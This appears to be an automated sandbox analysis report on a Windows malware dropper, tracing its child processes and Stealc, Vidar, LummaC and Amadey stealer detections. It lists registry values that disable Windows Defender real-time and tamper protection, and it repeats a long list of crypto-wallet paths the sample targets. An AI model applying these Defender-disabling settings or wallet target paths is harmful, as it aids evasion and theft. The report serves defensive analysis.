Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

Source: file.exe, file.exe, 00000000.00000002.2498548675.00000000005E2000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: &eProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6535A0

Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: e7dea42e57.exe, 00000017.00000003.2884579328.0000000001647000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2887267175.000000000163A000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2884579328.000000000165D000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2899017655.000000000165D000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2951027891.000000000165D000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3024755697.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3025418474.0000000000516000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000002.3330064877.000000000102F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.skotes.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.DocumentsKFBGDBFBKK.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2597591195.00000000001E1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2642470466.00000000000F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: e7dea42e57.exe PID: 8940, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e7dea42e57.exe PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e7dea42e57.exe PID: 4796, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2497943980.0000000000211000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2812437096.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3042952469.0000000000401000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2855713450.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2500046632.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2063052849.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2852960871.0000000000401000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2991899149.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6cb554c070.exe PID: 7792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6cb554c070.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7340, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2497943980.0000000000377000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 